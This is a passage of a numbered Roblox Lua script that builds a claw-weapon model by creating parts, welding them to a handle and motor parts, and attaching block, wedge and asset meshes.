  697. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566))
  698. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.212381959, -0.663311005, -0.00618499983, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  699. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.730365157, 0.388499111, 1.00999999))
  700. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566))
  701. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0184851885, 0.339620829, -0.0061809998, 0.715359032, -0.698757052, 0, 0.698757052, 0.715359032, 0, 0, 0, 1))
  702. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.834142029, 0.388499111, 1.00999999))
  703. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.627083898, 0.210449979, 1.04200566))
  704. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.280005217, -0.363016367, -0.00617299974, 0.707106352, 0.707107365, 0, -0.707107365, 0.707106352, 0, 0, 0, 1))
  705. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 0.388499111, 1.00999999))
  706. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 0.329999983))
  707. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.508293927, 0.00543988496, -0.414242506, 1, 0, 0, 0, -0.0252030101, -0.999682367, 0, 0.999682367, -0.0252030101))
  708. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.207726225, 0.473494887, 1))
  709. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "Part", TorsoColor, "ClawMaterial", Vector3.new(0.210449979, 0.210449979, 1.04200566))
  710. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.453824013, -0.291407824, -0.00616900017, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  711. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.83414197, 0.388499111, 1.00999999))
  712. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
  713. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.51018995, -0.50767684, 0.297928989, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  714. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.225887179, 0.543544471, 0.369591445))
  715. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.796189725))
  716. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0117785633, -0.903934956, 0.39272213, 0.707106352, 0, 0.707107365, 0, 1, 0, -0.707107365, 0, 0.707106352))
  717. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1))
  718. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
  719. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.51076597, -0.677359819, -0.295575023, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  720. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.231076032, 0.543544471, 0.369591445))
  721. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.524428368))
  722. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0118038058, 0.689624906, 0.570050001, 0.707103848, 0, 0.707109809, -0.707109809, 0, 0.707103848, 0, -1, 0))
  723. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1))
  724. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
  725. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.510767996, -0.508222818, -0.295575023, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  726. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.231076032, 0.543544471, 0.369591445))
  727. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 1.06329954))
  728. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.285520971, -0.664801836, -0.00591700012, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  729. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.311503083, 0.543544471, 1))
  730. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.728394926, 0.35408181, 1.04200566))
  731. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.159419954, -0.695495844, -0.00616900017, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  732. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1))
  733. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.796342552, 0.65287286, 1.04582763))
  734. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.144507021, 0.270431995, -0.00702500017, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  735. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1))
  736. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 1.04200566))
  737. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0228680372, -0.903097868, -0.00617699977, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  738. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1))
  739. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
  740. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.51076597, -0.157143831, -0.295579016, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  741. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.231076032, 0.543544471, 0.369591445))
  742. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.475480139, 0.404664904, 1.04200566))
  743. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.236273766, -0.56151557, -0.0061809998, 0.707106352, 0.707107365, 0, -0.707107365, 0.707106352, 0, 0, 0, 1))
  744. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1))
  745. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.796189725))
  746. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.000811070204, -0.902295828, 0.381639034, -0.707106829, 0, 0.707106829, 0, 1, 0, -0.707106829, 0, -0.707106829))
  747. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1))
  748. Part = CreatePart2(m, Enum.Material.Neon, 0, 0, "Part", "Really black", "Part", Vector3.new(1, 1, 1))
  749. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0142869996, -0.618730307, -0.382281303, 0, 0, 1, 0.36670509, -0.93033725, 0, 0.93033725, 0.36670509, 0))
  750. CreateMesh("SpecialMesh", Part, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.5, 0.709999979, 0.100000001))
  751. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.524428368))
  752. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.000812500715, 0.678554535, 0.570062876, -0.707106829, 0, 0.707106829, -0.707106829, 0, -0.707106829, 0, -1, 0))
  753. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1))
  754. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.274916351, 0.495625556, 1.04582763))
  755. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.386464, 0.349603176, -0.00702300016, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  756. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1))
  757. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 1.06329954))
  758. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.285515964, -0.215442896, -0.00591900013, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  759. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.311503083, 0.543544471, 1))
  760. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
  761. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.51019901, -0.156597853, 0.297930986, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  762. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.225887179, 0.543544471, 0.369591445))
  763. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(1.06224263, 1.11860847, 1.04200566))
  764. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00774800777, 0.0171630383, -0.0061809998, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  765. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1))
  766. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
  767. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.510194004, -0.67681098, 0.297922999, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  768. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.225887179, 0.543544471, 0.369591445))
  769. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "WedgePart", TorsoColor, "ClawMaterial", Vector3.new(1.0507766, 0.342107773, 0.210450009))
  770. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00591100007, -0.468749046, 0.193565369, 0, 0, 1, -0.700001419, -0.714141428, 0, 0.714141428, -0.700001419, 0))
  771. CreateMesh("SpecialMesh", ClawMaterial, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 0.961421788))
  772. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
  773. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00134065747, 0.207813978, 0.709334135, 0.707106829, 0, -0.707106829, 0, -1, 0, -0.707106829, 0, -0.707106829))
  774. CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 0.961421788))
  775. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.05023062, 0.210449979, 0.210450009))
  776. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00947299972, -0.114370823, -0.440932035, 0, 0, 1, 0, 1, 0, -1, 0, 0))
  777. CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.561885834, 0.961421788))
  778. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.05023062, 0.411995441, 0.210450009))
  779. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00891099963, -0.798730135, 0.476718009, 0, 0, 1, 0, -1, 0, 1, 0, 0))
  780. CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 0.644903481))
  781. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.04586256, 0.210449979, 0.27767837))
  782. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00726700015, 0.0232260227, 0.391721964, 0, 0, 1, 0, 1, 0, -1, 0, 0))
  783. CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.764251173, 1))
  784. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.05023062, 0.385787576, 0.210450009))
  785. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00509499991, -0.792718172, 0.456955969, 0, 0, -1, 0, -1, 0, -1, 0, 0))
  786. CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 0.644903481))
  787. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.05023062, 0.210449979, 0.210450009))
  788. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00509600015, -0.696686029, 0.42363596, 0, 0, -1, 0, -1, 0, -1, 0, 0))
  789. CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.961427808, 0.961421788))
  790. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
  791. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.012203753, 0.206679821, 0.707822442, -0.707106352, 0, -0.707107365, 0, -1, 0, -0.707107365, 0, 0.707106352))
  792. CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 0.961421788))
  793. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(1.05023062, 0.210449979, 0.210450009))
  794. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00947900023, -0.695355177, 0.440928012, 0, 0, 1, 0, -1, 0, 1, 0, 0))
  795. CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.961427808, 0.961421788))
  796. MotorOne = CreatePart(m, Enum.Material.Neon, 0.30000001192093, 1, TorsoColor, "MotorOne", Vector3.new(0.200000003, 0.200000003, 0.200000003))
  797. MotorOneWeld = CreateWeld(m, Handle, MotorOne, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.165818453, -0.00628910959, -0.978227913, -0.0732169896, -0.996971905, -0.0261989962, -0.542171299, 0.0618378855, -0.83798945, 0.837072074, -0.0471507274, -0.545057178))
  798. Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
  799. ShardWeld = CreateWeld(m, MotorOne, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.413149118, -0.00709122419, -1.08955288, 0.90752846, 5.51342964e-07, -0.419990718, -1.73971057e-06, 1, -2.44379044e-06, 0.419990718, 2.95042992e-06, 0.90752852))
  800. CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1.20000005, 0.200000003, 0.200000003))
  801. Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
  802. ShardWeld = CreateWeld(m, MotorOne, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.205875158, -0.00710588694, -1.48987699, 0.747897685, -5.36441803e-07, -0.663814127, -1.66893005e-06, 1, -2.68220901e-06, 0.663814127, 3.12924385e-06, 0.747897744))
  803. CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003))
  804. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.319999993))
  805. PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151987076, 0.549069643, -0.614215612, -1.19581819e-06, 1, 1.37090683e-06, -0.999459982, -1.24052167e-06, 0.0328635052, 0.0328635164, -1.31130219e-06, 0.999459982))
  806. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 2.73999977, 0.339999974))
  807. PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151856542, -0.490994453, -0.295432806, -1.19581819e-06, 1, 1.37090683e-06, -0.961226821, -7.5250864e-07, -0.27575928, -0.27575931, -1.57952309e-06, 0.96122694))
  808. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.479999989))
  809. PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.015198648, 0.650615692, -0.406500697, -1.19581819e-06, 1, 1.37090683e-06, -0.978774786, -8.94069672e-07, -0.204939544, -0.204939514, -1.51991844e-06, 0.978774667))
  810. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.339999974))
  811. PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0152282119, 0.624634504, 0.129744053, -1.19581819e-06, 1, 1.37090683e-06, -0.832109034, -2.5331974e-07, -0.554612279, -0.554612339, -1.78813934e-06, 0.832108974))
  812. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.03999996, 0.480000019))
  813. PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0152042508, 0.944105864, 0.894237399, 1.19581819e-06, -1, -1.37090683e-06, -0.999459982, -1.24052167e-06, 0.0328635052, -0.0328635164, 1.31130219e-06, -0.999459982))
  814. Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
  815. ClawWeld = CreateWeld(m, MotorOne, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-1.86121058, -0.0170745254, -0.650540829, 1.00000012, 0, 3.7252903e-09, 0, 1, 0, 3.7252903e-09, 0, 1.00000024))
  816. CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(2.5, 0.300000012, 0.519999981))
  817. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.370000005, 0.200000003))
  818. PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151966214, -1.64906764, 1.03426063, -1.19581819e-06, 1, 1.37090683e-06, 0.999459982, 1.24052167e-06, -0.0328635052, -0.0328635164, 1.31130219e-06, -0.999459982))
  819. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.200000003, 0.200000003))
  820. PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0252064466, -1.54980397, -0.844281435, 1.19581819e-06, -1, -1.37090683e-06, 0.999459982, 1.24052167e-06, -0.0328635052, 0.0328635164, -1.31130219e-06, 0.999459982))
  821. MotorTwo = CreatePart(m, Enum.Material.Neon, 0.30000001192093, 1, TorsoColor, "MotorTwo", Vector3.new(0.200000003, 0.200000003, 0.200000003))
  822. MotorTwoWeld = CreateWeld(m, Handle, MotorTwo, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0479729176, -0.503670454, -0.786706924, 0.0261989962, -0.996971905, -0.0732169896, 0.83798945, 0.0618378855, -0.542171299, 0.545057178, -0.0471507274, 0.837072074))
  823. Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
  824. ShardWeld = CreateWeld(m, MotorTwo, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.413152218, -0.00709152222, -1.08955348, 0.90752846, 5.66244125e-07, -0.419990689, -1.74157321e-06, 1, -2.47359276e-06, 0.419990718, 2.98023224e-06, 0.907528639))
  825. CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1.20000005, 0.200000003, 0.200000003))
  826. Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
  827. ShardWeld = CreateWeld(m, MotorTwo, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.20587635, -0.00710582733, -1.4898783, 0.747897685, -5.36441803e-07, -0.663814127, -1.6707927e-06, 1, -2.68220901e-06, 0.663814127, 3.12924385e-06, 0.747897804))
  828. CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003))
  829. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.319999993))
  830. PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151982307, 0.549069643, -0.614216566, -1.19395554e-06, 1, 1.37090683e-06, -0.999459982, -1.24005601e-06, 0.0328635052, 0.0328635164, -1.31130219e-06, 0.999459982))
  831. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 2.73999977, 0.339999974))
  832. PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151848793, -0.490990877, -0.295432806, -1.19395554e-06, 1, 1.37090683e-06, -0.961226821, -7.74860382e-07, -0.27575931, -0.27575925, -1.63912773e-06, 0.961226881))
  833. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.479999989))
  834. PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151979923, 0.650617838, -0.406501412, -1.19395554e-06, 1, 1.37090683e-06, -0.978774786, -8.94069672e-07, -0.204939544, -0.204939514, -1.51991844e-06, 0.978774667))
  835. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.28999996, 0.339999974))
  836. PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0152257681, 0.624636889, 0.129745722, -1.19395554e-06, 1, 1.37090683e-06, -0.832109034, -2.38418579e-07, -0.554612279, -0.554612339, -1.78813934e-06, 0.832108974))
  837. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 1.03999996, 0.480000019))
  838. PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.015203476, 0.944107533, 0.894238472, 1.19395554e-06, -1, -1.37090683e-06, -0.999459982, -1.24005601e-06, 0.0328635052, -0.0328635164, 1.31130219e-06, -0.999459982))
  839. Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
  840. ClawWeld = CreateWeld(m, MotorTwo, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-1.86121142, -0.0170750618, -0.650540113, 1.00000012, -1.86264515e-09, 4.65661287e-09, -1.86264515e-09, 1, 0, 4.65661287e-09, 0, 1.00000024))
  841. CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(2.5, 0.300000012, 0.519999981))
  842. CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Really black", "Part", Vector3.new(0.329999983, 0.370000005, 0.200000003))
